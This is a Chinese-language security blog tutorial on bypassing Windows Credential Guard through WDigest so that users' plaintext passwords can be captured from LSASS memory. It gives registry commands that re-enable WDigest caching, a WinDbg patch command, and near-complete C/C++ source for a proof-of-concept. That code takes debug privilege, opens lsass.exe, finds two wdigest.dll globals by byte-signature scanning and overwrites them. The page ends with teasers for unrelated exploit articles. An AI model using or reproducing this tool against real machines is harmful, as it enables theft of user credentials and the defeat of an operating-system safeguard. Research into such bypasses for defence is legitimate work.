<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰 | 從Wdigest繞過Credential Guard 獲取明文密碼

    VSole2023-01-31 10:26:48

    由 LSASS 進程加載的 wdigest.dll 模塊有兩個有趣的全局變量:gfParameter進行通信。

    下面簡要概述了如何使用基于虛擬化的安全性來隔離 LSA:

    如果我們在啟用了 Credential Guard 的系統上嘗試使用 Mimikatz 從 LSASS 進程內存中提取憑證,我們會觀察到以下結果。

    如上圖所示,我們無法從 LSASS 內存中提取任何憑據,NTLM 哈希處顯示的是 “LSA Isolated Data: NtlmHash”。并且,即便已經通過修改注冊表啟用了 Wdigest,也依然獲取不到任何明憑據。

    為了進行比較,下圖所示為不受 Credential Guard 保護的系統上的輸出。

    從 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 開始,兼容系統默認已啟用 Windows Defender Credential Guard。不過,通過本篇文章的方法,可以輕松繞過 Credential Guard,并獲取明文憑據。

    技術細節

    為了防止用戶的明文密碼在內存中泄露,微軟在 2014 年 5 月發布了 KB2871997 補丁,關閉了Wdigest功能,無法從內存中獲取明文密碼。并且,在 Windows Server 2012 及以上版本中都默認關閉 Wdigest 功能,無法從內存中獲取明文密碼。但是可以通過修改注冊表重新開啟 Wdigest,如下所示。

    # Enable Wdigest
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    # Disable Wdigest
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    

    g_fParameter_useLogonCredential

    在 wdigest.dll 內部,其通過 g_fParameter_UseLogonCredential 變量來確定系統是否設置了 UseLogonCredential 注冊表鍵值。如下圖所示,

    RegQueryValueExW() 函數檢索 UseLogonCredential 注冊表值,并由 g_fParameter_UseLogonCredential 接收,顯然這個變量受前面提到的注冊表鍵值的控制,并決定 Wdigest 后續是否緩存明文憑據。

    image-20230117231930807

    因此,如果我們將 LSASS 內存中的 g_fParameter_UseLogonCredential 變量值改為 1,也許可以在不更新注冊表的情況下獲取明文憑據。我們通過 WinDbg 進行內存修補。需要注意的是,由于無法將直接將 WinDbg 附加到 lsass.exe,我們需要先 Attach 內核,并切換到 lsass.exe 進程,相關細節請讀者自行上網查閱,這里不再贅述。

    (1)首先我們確定當前系統禁用了 Wdigest,并且 Credential Guard 沒有啟用,如下圖所示,可以轉儲 Administrator 用戶的哈希,但是無法提取明文密碼。

    (2)通過 WinDbg 調試器修補內存,將 g_fParameter_UseLogonCredential 變量值改為 1,如下圖所示。

    ed wdigest!g_fParameter_UseLogonCredential 1
    

    (3)當 Administrator 用戶重新輸入用戶名密碼進行身份驗證時,即可提取到其明文密碼。

    但這是適用于 Credential Guard 禁用的情況下,如果目標系統開啟了 Credential Guard 保護,即便將 g_fParameter_UseLogonCredential 值設為 1 也無法讓 Wdigest 緩存明文憑據。

    g_IsCredGuardEnabled

    Adam Chester 的文章中提到的第二個全局變量是 g_IsCredGuardEnabled,該變量用于保存模塊內 Credential Guard 的狀態,并決定 Wdigest 后續是否使用 Credential Guard 兼容的功能。

    當在系統上啟用 Credential Guard 時,g_IsCredGuardEnabled 的值設置為 ,取消設置此值或將其設為 0 也許可以繞過 Credential Guard 保護。下面筆者通過 C/C++ 編程,嘗試在 LSASS 內存中修補兩個變量的值。這最終可以欺騙 WDigest 模塊,使其表現得好像未啟用 Credential Guard 保護并且系統配置為在內存中緩存明文密碼。一旦這兩個值在 LSASS 進程中被正確修補,將在下一次用戶輸入用戶名密碼進行身份驗證時保存用戶的明文密碼。

    通過 C/C++ 實現

    筆者的思路是先從 LSASS 進程中計算出加載的 wdigest.dll 模塊的基地址,然后在該模塊中定位兩個全局變量,最后修補這兩個變量的值。至于如何找這兩個變量,可以參考 Mimikatz 中用過的簽名掃描的方法。這些全局變量之所以存在,首先是因為它們在代碼中的某個地方被使用。如果我們可以利用某些不變的字節序列作為特征碼來識別引用這些全局變量的指令,在 x86_64 架構上,這些指令使用 rip 相對尋址來訪問和使用全局變量,通過加減相應的偏移量,就能找到相應的全局變量。

    以 Windows 10 x64, Version 1903 系統為例,在 wdigest.dll 中搜索 g_fParameter_useLogonCredential 變量可以在右側的看到所有引用過它的地方,如下圖所示。

    第一個出現的函數為 SpAcceptCredentials(),可以查看此處的匯編代碼:

    39 1D B3 38 03 00             cmp     cs:g_fParameter_UseLogonCredential, ebx
    8B 05 11 33 03 00             mov     eax, cs:g_IsCredGuardEnabled0F 85 06 72 00 00             jnz     loc_180008A83
                                  loc_18000187D:                          ; CODE XREF: SpAcceptCredentials+730B↓j
    41 B4 01                      mov     r12b, 1
    44 88 A4 24 A8 00 00 00       mov     [rsp+98h+arg_8], r12b
    85 C0                         test    eax, eax
    0F 85 00 72 00 00             jnz     loc_180008A90
    

    在第 1 行的 cmp 指令中,第 1 個字節 39 代表 cmp 的操作碼,第 2 個字節 1D 代表源寄存器,最后 B3 38 03 00 保存的是 g_fParameter_UseLogonCredential 變量相對于 rip 的偏移量(小端序),此時 rip 指向 B3 38 03 00 結束的地址。同理,對于第 2 行的指令可以得到 g_IsCredGuardEnabled 的偏移量為 11 33 03 00

    在這個例子中,我們可以將第 6 行開始的字節序列 41 B4 01 44 88 A4 24 A8 00 00 00 85 C0 作為特征碼,得到地址為 0x18000187D。然后減去 16 個字節定位到保存 g_fParameter_UseLogonCredential 偏移量的四個字節序列,取出偏移量為 0x338B3,最后可以計算出 g_fParameter_UseLogonCredential 的地址為 0x18000187D - Hex(16) + Hex(4) + 0x338B3 = 0x180035124,如下圖所示位置。

    同理可以獲得 g_IsCredGuardEnabled 變量的地址為 0x18000187D - Hex(10) + Hex(4) + 0x33311 = 0x180034B88,如下圖所示位置。

    Main Function

    如下編寫主函數。主函數啟動后,首先會通過 RtlGetNtVersionNumbers() 函數獲取操作系統版本,并分別賦值常量 NT_MAJOR_VERSIONNT_MINOR_VERSION 和 NT_BUILD_NUMBER

    int wmain(int argc, wchar_t* argv[])
    {
        HANDLE hToken = NULL;
        RtlGetNtVersionNumbers(&NT_MAJOR_VERSION, &NT_MINOR_VERSION, &NT_BUILD_NUMBER);
        // Open a process token and get a process token handle with TOKEN_ADJUST_PRIVILEGES permission
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
        {
            wprintf(L"[-] OpenProcessToken Error [%u].", GetLastError());
            return -1;
        }
        if (EnableDebugPrivilege(hToken, SE_DEBUG_NAME))
        {
            PatchMemory();
        }
    }
    

    然后通過 GetCurrentProcess() 函數獲取當前進程,并用 OpenProcessToken() 函數打開當前進程的句柄,并將其賦給 hToken

    由于 lsass.exe 是系統進程,因此工具在調試 lsass.exe 內存之前需要通過 AdjustTokenPrivileges() 函數為其開啟 SeDebugPrivilege 特權,為此我編寫了 EnableDebugPrivilege() 函數為當前進程提升令牌特權,如下所示。

    BOOL EnableDebugPrivilege(HANDLE hToken, LPCWSTR lpName)
    {
        BOOL status = FALSE;
        LUID luidValue = { 0 };
        TOKEN_PRIVILEGES tokenPrivileges;
        
        // Get the LUID value of the SE_DEBUG_NAME (SeDebugPrivilege) privilege for the local system
        if (!LookupPrivilegeValueW(NULL, lpName, &luidValue))
        {
            wprintf(L"[-] LookupPrivilegeValue Error [%u].", GetLastError());
            return status;
        }
        // Set escalation information
        tokenPrivileges.PrivilegeCount = 1;
        tokenPrivileges.Privileges[0].Luid = luidValue;
        tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        // Elevate Process Token Access
        if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
        {
            wprintf(L"[-] AdjustTokenPrivileges Error [%u].", GetLastError());
            return status;
        }
        else
        {
            status = TRUE;
        }
        return status;
    }
    

    提升令牌特權后,進入 PatchMemory() 函數開始修補內存。

    獲取 wdigest.dll 模塊基地址

    在開始修補此之前,我們需要枚舉 LSASS 加載的模塊,并確定 wdigest.dll 模塊基地址以及兩個全局變量的地址。為此我編寫了 AcquireLSA() 函數,如下所示。

    BOOL AcquireLSA()
    {
        BOOL status = FALSE;
        DWORD pid;
        if (pid = GetProcessIdByName(L"lsass.exe"))
            cLsass.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        else
            wprintf(L"[-] Lsass Process Not Found.");
        cLsass.osContext.MajorVersion = NT_MAJOR_VERSION;
        cLsass.osContext.MinorVersion = NT_MINOR_VERSION;
        cLsass.osContext.BuildNumber = NT_BUILD_NUMBER & 0x00007fff;
        if (GetVeryBasicModuleInformations(cLsass.hProcess) && LsassPackage.Module.isPresent)
        {
            wprintf(L"[*] Base address of wdigest.dll: 0x%016llx", LsassPackage.Module.Informations.DllBase.address);
            if (LsaSearchGeneric(&cLsass, &LsassPackage.Module, g_References, ARRAYSIZE(g_References), (PVOID*)&g_fParameter_UseLogonCredential, (PVOID*)&g_IsCredGuardEnabled)
                && LsassPackage.Module.isInit)
            {
                wprintf(L"[*] Address of g_fParameter_UseLogonCredential: 0x%016llx", g_fParameter_UseLogonCredential);
                wprintf(L"[*] Address of g_IsCredGuardEnabled: 0x%016llx", g_IsCredGuardEnabled);
                status = TRUE;
            }
        }
        return status;
    }
    

    在該函數內部,首先通過自定義函數 GetProcessIdByName() 獲取 lsass.exe 進程的 PID,通過 OpenProcess() 打開 lsass.exe 進程的句柄后保存到 cLsass.hProcess 中。得到 lsass.exe 進程 PID 后,繼續調用自定義函數 GetVeryBasicModuleInformations() 獲取 lsass.exe 進程的基本信息,主要獲取 lsass.exe 進程加載的 wdigest.dll 模塊,這里采用了遍歷 PEB 結構的方法。

    在獲取 lsass.exe 進程的 PEB 時,我編寫了一個 GetProcessPeb() 函數,其內部調用 NtQueryInformationProcess() 函數檢索指定進程的 PEB 結構信息,如下所示。

    BOOL GetProcessPeb(HANDLE hProcess, PPEB pPeb)
    {
        BOOL status = FALSE;
        PROCESS_BASIC_INFORMATION processInformations;
        ULONG returnLength;
        if (NT_SUCCESS(NtQueryInformationProcess(hProcess, ProcessBasicInformation, &processInformations, sizeof(processInformations), &returnLength)) 
            && (returnLength == sizeof(processInformations)) 
            && processInformations.PebBaseAddress)
        {
            status = ReadProcessMemory(hProcess, processInformations.PebBaseAddress, pPeb, sizeof(PEB), NULL);
        }
        return status;
    }
    

    然后編寫 GetVeryBasicModuleInformations() 函數,用于遍歷 lsass.exe 進程的 PEB,來獲取 lsass.exe 進程加載的 wdigest.dll 模塊的地址,該函數定義如下。

    BOOL GetVeryBasicModuleInformations(HANDLE hProcess)
    {
        BOOL status = FALSE;
        PEB Peb;
        PEB_LDR_DATA LdrData;
        LDR_DATA_TABLE_ENTRY LdrEntry;
        PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation;
        UNICODE_STRING moduleName;
        PBYTE pListEntryStart, pListEntryEnd;
        moduleInformation.ModuleName = &moduleName;
        if (GetProcessPeb(hProcess, &Peb))
        {
            if (ReadProcessMemory(hProcess, Peb.Ldr, &LdrData, sizeof(PEB_LDR_DATA), NULL))
            {
                for (
                    pListEntryStart = (PBYTE)LdrData.InLoadOrderModuleList.Flink,
                    pListEntryEnd = (PBYTE)Peb.Ldr + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModuleList);
                    pListEntryStart != pListEntryEnd;
                    pListEntryStart = (PBYTE)LdrEntry.InLoadOrderLinks.Flink
                    )
                {
                    if (ReadProcessMemory(hProcess, pListEntryStart, &LdrEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL))
                    {
                        moduleInformation.DllBase.address = LdrEntry.DllBase;
                        moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
                        moduleName = LdrEntry.BaseDllName;
                        if (GetUnicodeString(&moduleName, cLsass.hProcess))
                        {
                            status = FindModules(&moduleInformation);
                        }
                        LocalFree(moduleName.Buffer);
                    }
                }
            }
        }
        return status;
    }
    

    在 GetVeryBasicModuleInformations() 內部,首先調用 GetProcessPeb() 函數檢索有關 lsass.exe 進程的 PEB 結構信息,并通過 ReadProcessMemory() 函數將 Peb.Ldr 指向的 PEB_LDR_DATA 結構復制到 LdrData 中。

    然后遍歷所有 LDR_DATA_TABLE_ENTRY 結構,分別獲取模塊地址、映像文件大小和映像文件名稱,并把它們保存到 moduleInformation 中,這是了一個 PROCESS_VERY_BASIC_MODULE_INFORMATION 結構體,其定義如下,用于存儲 wdigest.dll 模塊的有關信息。

    typedef struct PROCESS_VERY_BASIC_MODULE_INFORMATION {
        KULL_M_MEMORY_ADDRESS DllBase;                  // 存儲已加載模塊的地址
        ULONG SizeOfImage;                              // 存儲已加載模塊的映像大小
        ULONG TimeDateStamp;
        PCUNICODE_STRING NameDontUseOutsideCallback;    // 存儲已加載模塊的映像名稱
    } PROCESS_VERY_BASIC_MODULE_INFORMATION, *PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION;
    

    最后通過 FindModules() 函數比較當前循環中的模塊名稱與 wdigest.dll 是否相等,并將模塊信息保存到 LsassPackage.Module.Informations 中,如下所示。

    BOOL FindModules(PPROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation)
    {
        if (_wcsicmp(LsassPackage.ModuleName, pModuleInformation->ModuleName->Buffer) == 0)
        {
            LsassPackage.Module.isPresent = TRUE;
            LsassPackage.Module.Informations = *pModuleInformation;
        }
        return TRUE;
    }
    

    至此,成功獲取到 wdigest.exe 進程中加載的 lsasrv.dll 模塊的信息,GetVeryBasicModuleInformations() 函數調用結束。接下來,將調用 LsaSearchGeneric() 函數來定位 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 這兩個全局變量。

    獲取兩個全局變量

    前文中提到,在定位 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 這兩個關鍵的全局變量時,采用簽名掃描的方法。參考 Mimikatz,可以將常見系統版本的特征碼保存在一個名為 g_References[] 的數組中,這些特征碼用于識別引用它們的指令,如下所示。

    BYTE PTRN_WIN1607_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x44, 0x88, 0x6d, 0x48, 0x85, 0xc0 };
    BYTE PTRN_WIN1909_SpAcceptCredentials[] = { 0x41, 0xb4, 0x01, 0x44, 0x88, 0xa4, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x85, 0xc0 };
    BYTE PTRN_WIN2022_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x85, 0xc0 };
    PATCH_GENERIC g_References[] = {
        {WIN_BUILD_10_1607, {sizeof(PTRN_WIN1607_SpAcceptCredentials), PTRN_WIN1607_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1703, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1709, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1803, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1809, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1903, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_1909, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_2004, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_20H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_10_21H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_MIN_BUILD_11, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
        {WIN_BUILD_2022, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
    };
    

    數組中的每個成員都是一個 PATCH_GENERIC 結構體,用于保存特征碼的匹配規則,其結構定義如下。

    typedef struct _PATCH_GENERIC {
        DWORD MinBuildNumber;     // 系統版本號
        PATCH_PATTERN Search;     // 包含特征碼
        PATCH_PATTERN Patch;
        PATCH_OFFSETS Offsets;    // 保存 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 偏移量值的四個字節的偏移量
    } PATCH_GENERIC, * PPATCH_GENERIC;
    

    下面開始編寫 LsaSearchGeneric() 函數,定義如下。

    BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1)
    {
        BOOL status = FALSE;
        MEMORY_SEARCH sMemory = { {pLib->Informations.DllBase.address, pLib->Informations.SizeOfImage}, NULL };
        PPATCH_GENERIC currentReference;
        LONG offset;
        MEMORY_ADDRESS lsassMemory;
        if (currentReference = GetGenericFromBuild(genericReferences, cbReferences, cLsass->osContext.BuildNumber))
        {
            if (MemorySearch(cLsass->hProcess, currentReference->Search.Pattern, currentReference->Search.Length, &sMemory))
            {
                wprintf(L"[*] Matched signature at 0x%016llx: ", sMemory.result);
                PrintfHex(currentReference->Search.Pattern, currentReference->Search.Length);
                lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0;
                if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
                {
                    *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
                }
                if (genericPtr1)
                {
                    lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off1;
                    if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
                    {
                        *genericPtr1 = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
                    }
                }
            }
        }
        pLib->isInit = status;
        return status;
    }
    

    在該函數內部,GetGenericFromBuild() 會根據 cLsass->osContext.BuildNumber 記錄的版本號在 g_References 中選擇適用于當前系統版本的特征碼規則,并賦值給 currentReference。然后將 currentReference 連同 &sMemory 傳入自定義函數 MemorySearch()。其中 sMemory 是一個 MEMORY_SEARCH 結構體,用于臨時保存 lsasrv.dll 模塊的基地址和映像大小,其定義如下。

    typedef struct _MEMORY_SEARCH {
        MEMORY_RANGE memoryRange;
        LPVOID result;
    } MEMORY_SEARCH, * PMEMORY_SEARCH;
    typedef struct _MEMORY_RANGE {
        MEMORY_ADDRESS memoryAdress;
        SIZE_T size;
    } MEMORY_RANGE, * PMEMORY_RANGE;
    typedef struct _MEMORY_ADDRESS {
        LPVOID address;
    } MEMORY_ADDRESS, * PMEMORY_ADDRESS;
    

    MemorySearch() 函數用于在內存中匹配特征碼,其定義如下。其首先劃分出 wdigest.dll 模塊的內存空間從而確定要搜索范圍的最大內存地址 limit,然后遍歷 limit 范圍的內存,通過 RtlEqualMemory() 函數匹配出與特征碼相同的內存塊,最終確定特征碼的地址。

    BOOL MemorySearch(HANDLE hProcess, LPBYTE Pattern, SIZE_T Length, PMEMORY_SEARCH Search)
    {
        BOOL status = FALSE;
        MEMORY_SEARCH sBuffer = { { NULL, Search->memoryRange.size}, NULL };
        PBYTE CurrentPtr;
        PBYTE limit;
        if (sBuffer.memoryRange.memoryAdress.address = LocalAlloc(LPTR, Search->memoryRange.size))
        {
            if (ReadProcessMemory(hProcess, Search->memoryRange.memoryAdress.address, sBuffer.memoryRange.memoryAdress.address, Search->memoryRange.size, NULL))
            {
                limit = (PBYTE)sBuffer.memoryRange.memoryAdress.address + sBuffer.memoryRange.size;
                for (CurrentPtr = (PBYTE)sBuffer.memoryRange.memoryAdress.address; !status && (CurrentPtr + Length <= limit); CurrentPtr++)
                    status = RtlEqualMemory(Pattern, CurrentPtr, Length);
                CurrentPtr--;
                Search->result = (PBYTE)Search->memoryRange.memoryAdress.address + ((PBYTE)CurrentPtr - (PBYTE)sBuffer.memoryRange.memoryAdress.address);
            }
        }
        return status;
    }
    

    得到的特征碼地址被賦值給 Search->result,然后返回 LsaSearchGeneric() 函數后,將 currentReference 中獲取的第一個偏移量加到特征碼地址上,如下所示。

    lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0;
    

    這里得到 cmp cs:g_fParameter_UseLogonCredential, ebx 指令中保存 g_fParameter_useLogonCredential 變量偏移量的四個字節序列的地址。然后通過 ReadProcessMemory() 函數獲取這四個字節序列的值到 offset 中,此時 offset 中保存了 g_fParameter_useLogonCredential 變量真正的偏移量。將 sizeof(LONG) 和 offset 加到 rip 指向的地址上即可得到 g_fParameter_useLogonCredential 變量的地址,如下所示。

    if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
    {
        *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
    }
    

    同理可以獲得 g_IsCredGuardEnabled 變量的地址。

    至此,成功得到 g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 變量的地址。

    修改兩個變量的值

    得到兩個變量的地址后,PatchMemory() 函數開始修補這兩的變量的值,其通過 WriteProcessMemory() 函數向指定變量的地址寫入修改值,從而將 g_fParameter_useLogonCredential 變量的值設為 1,g_IsCredGuardEnabled 變量的值設為 0,如下所示。

    BOOL PatchMemory()
    {
        BOOL status = FALSE;
        DWORD dwCurrent;
        DWORD UseLogonCredential = 1;
        DWORD IsCredGuardEnabled = 0;
        status = AcquireLSA();
        if (status)
        {
            if (ReadProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, &dwCurrent, sizeof(DWORD), NULL))
            {
                wprintf(L"[*] The current value of g_fParameter_UseLogonCredential is %d", dwCurrent);
                if (WriteProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, (PVOID)&UseLogonCredential, sizeof(DWORD), NULL))
                {
                    wprintf(L"[*] Patched value of g_fParameter_UseLogonCredential to 1");
                    status = TRUE;
                }
                else
                    wprintf(L"[-] Failed to WriteProcessMemory for g_fParameter_UseLogonCredential.");
            }
            else
                wprintf(L"[-] Failed to ReadProcessMemory for g_fParameter_UseLogonCredential");
            if (ReadProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, &dwCurrent, sizeof(DWORD), NULL))
            {
                wprintf(L"[*] The current value of g_IsCredGuardEnabled is %d", dwCurrent);
                if (WriteProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, (PVOID)&IsCredGuardEnabled, sizeof(DWORD), NULL))
                {
                    wprintf(L"[*] Patched value of g_IsCredGuardEnabled to 0");
                    status = TRUE;
                }
                else
                    wprintf(L"[-] Failed to WriteProcessMemory for g_IsCredGuardEnabled.");
            }
            else
                wprintf(L"[-] Failed to ReadProcessMemory for g_IsCredGuardEnabled");
        }
        return status;
    }
    

    執行效果

    在啟用了 Credential Guard 保護的系統上運行我們編寫的 POC(https://github.com/wh0Nsq/BypassCredGuard),當用戶輸入用戶名密碼重新登陸時,我們重新得到了他的明文密碼,如下圖所示。

    BypassCredGuard.exe
    

    sizeofoffset函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    house of force 主要利用 top chunk 的漏洞 通過修改topchunk_size來進行攻擊 利用 top chunk 分割的漏洞來申請任意 chunk, 然后再劫持 hook 或者更改 got表
    因此參考了《黑客免殺攻防》中的代碼對DLL型殼編寫的結構進行了一次歸納整理,并附上相應代碼解析。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    .NET下的反Dump手段比較單一,無非是在運行后對PE頭中的.NET部分進行抹除。由于CLR在加載程序集時已經保存了所有.NET元數據的偏移和大小,抹除這部分.NET頭對程序的運行沒有任何影響。
    在這個層中,來自upper層的更改會覆蓋lower層的相應文件。對于同名文件upper層中的文件優先級更高。一個Overlay文件系統可以有一個或多個lower層。此層擁有寫時復制特性,當想要修改lower層不可修改的fileC時,先拷貝副本到upper層,修改后呈現到merged視圖。OverlayFS 操作流程掛載OverlayFS文件系統mkdir lower upper work merged. sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 掛載OverlayFS
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    結果分析Hook前Hook后,我們的彈窗本該是hello的但是hook后,程序流程被我們修改了。760D34B2 55 push ebp760D34B3 8BEC mov ebp,esp通過這兩條指令,函數就可以在堆棧中為局部變量分配存儲空間,并在函數執行過程中保存和恢復現場。這樣做的好處是可以避免局部變量和其他函數之間的沖突,同時也可以提高函數的可讀性和可維護性。
    前言1.漏洞描述在win32k!xxxMNEndMenuState函數中,函數會調用MNFreePopup函數釋放tagPOPUPMENU對象,但是函數釋放對象以后,沒有清空指針。而在彈出窗口過程中,用戶可以劫持相應的處理函數來實現兩次調用xxxMNEndMenuState函數,因為雙重釋放導致BSOD的產生。通過內存布局,可以偽裝tagPOPUPMENU對象在釋放的內存空間中,通過解引用修改窗口對象的關鍵的標志位,可以通過SendMessage函數讓窗口在內核態執行指定的處理函數實現提權操作。
    Kernel-Pwn-FGKASLR
    2023-07-10 10:24:04
    是KASLR的加強版,增加了更細粒度的地址隨機化
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类